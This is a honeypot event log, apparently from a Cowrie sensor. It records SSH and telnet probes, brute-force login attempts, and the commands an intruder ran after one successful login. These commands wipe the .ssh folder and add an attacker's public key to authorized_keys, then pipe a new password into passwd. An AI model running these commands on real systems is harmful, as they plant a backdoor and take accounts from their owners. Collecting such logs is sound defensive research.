{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55234,"dst_ip":"10.17.0.5","dst_port":23,"session":"386aafb86f30","protocol":"telnet","message":"New connection: 104.245.105.2:55234 (10.17.0.5:23) [session: 386aafb86f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:17.832086Z"}
{"eventid":"cowrie.session.closed","duration":33.89889478683472,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:45:51.730850Z","src_ip":"104.245.105.2","session":"386aafb86f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54474,"dst_ip":"10.17.0.5","dst_port":23,"session":"31bd3ef75942","protocol":"telnet","message":"New connection: 104.245.105.2:54474 (10.17.0.5:23) [session: 31bd3ef75942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:02.671967Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":47624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ae5f4cbecf","protocol":"ssh","message":"New connection: 186.113.245.157:47624 (159.203.135.109:22) [session: f6ae5f4cbecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:07.115683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:07.121001Z","src_ip":"186.113.245.157","session":"f6ae5f4cbecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:07.222045Z","src_ip":"186.113.245.157","session":"f6ae5f4cbecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Password1","message":"login attempt [ftpuser/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:07.636086Z","src_ip":"186.113.245.157","session":"f6ae5f4cbecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:08.743207Z","src_ip":"186.113.245.157","session":"f6ae5f4cbecf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.121729135513306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:33.793561Z","src_ip":"104.245.105.2","session":"31bd3ef75942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49322,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bfda37fa84b","protocol":"ssh","message":"New connection: 2.57.122.238:49322 (10.17.0.5:22) [session: 3bfda37fa84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:37.224064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:37.233787Z","src_ip":"2.57.122.238","session":"3bfda37fa84b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:37.335625Z","src_ip":"2.57.122.238","session":"3bfda37fa84b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:37.639324Z","src_ip":"2.57.122.238","session":"3bfda37fa84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:38.743093Z","src_ip":"2.57.122.238","session":"3bfda37fa84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36518,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f77befd497d","protocol":"telnet","message":"New connection: 104.245.105.2:36518 (10.17.0.5:23) [session: 7f77befd497d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:46:58.246574Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":36622,"dst_ip":"159.203.135.109","dst_port":22,"session":"b746352dbd20","protocol":"ssh","message":"New connection: 186.113.245.157:36622 (159.203.135.109:22) [session: b746352dbd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:04.958361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:04.963306Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.054390Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2021","message":"login attempt [admin/admin2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.447125Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.675928Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.679843Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.683959Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.781178Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:05.998883Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.002320Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.101691Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.105135Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":37010,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cd6dcd5cd83","protocol":"ssh","message":"New connection: 186.113.245.157:37010 (159.203.135.109:22) [session: 4cd6dcd5cd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.200681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.204165Z","src_ip":"186.113.245.157","session":"4cd6dcd5cd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.299309Z","src_ip":"186.113.245.157","session":"4cd6dcd5cd83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:06.710599Z","src_ip":"186.113.245.157","session":"4cd6dcd5cd83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:07.809427Z","src_ip":"186.113.245.157","session":"4cd6dcd5cd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":37630,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba539bf9fc8d","protocol":"ssh","message":"New connection: 186.113.245.157:37630 (159.203.135.109:22) [session: ba539bf9fc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:07.896831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:07.902104Z","src_ip":"186.113.245.157","session":"ba539bf9fc8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:08.032497Z","src_ip":"186.113.245.157","session":"ba539bf9fc8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:08.391333Z","src_ip":"186.113.245.157","session":"ba539bf9fc8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.486398Z","src_ip":"186.113.245.157","session":"ba539bf9fc8d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.626582Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.630053Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.723994Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.939802Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2021\\nDRsIdDjgZ59k\\nDRsIdDjgZ59k\"|passwd|bash","message":"CMD: echo -e \"admin2021\\nDRsIdDjgZ59k\\nDRsIdDjgZ59k\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.943715Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.947648Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:09.951168Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/754b48d4068f5fa72c060109e584256ebcadf9d15f74c431b2cb9787485a3167","size":32,"shasum":"754b48d4068f5fa72c060109e584256ebcadf9d15f74c431b2cb9787485a3167","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/754b48d4068f5fa72c060109e584256ebcadf9d15f74c431b2cb9787485a3167 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.046316Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.274961Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2021\\nDRsIdDjgZ59k\\nDRsIdDjgZ59k\\n\"|passwd","message":"CMD: echo \"admin2021\\nDRsIdDjgZ59k\\nDRsIdDjgZ59k\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.278506Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/681717e5ca0d82cb26ca5727bb4b4faee337b77de2851ad7e5d235a0f835c993","size":25,"shasum":"681717e5ca0d82cb26ca5727bb4b4faee337b77de2851ad7e5d235a0f835c993","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/681717e5ca0d82cb26ca5727bb4b4faee337b77de2851ad7e5d235a0f835c993 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:47:10.371092Z","src_ip":"186.113.245.157","session":"b746352dbd20","protocol":"ssh"}
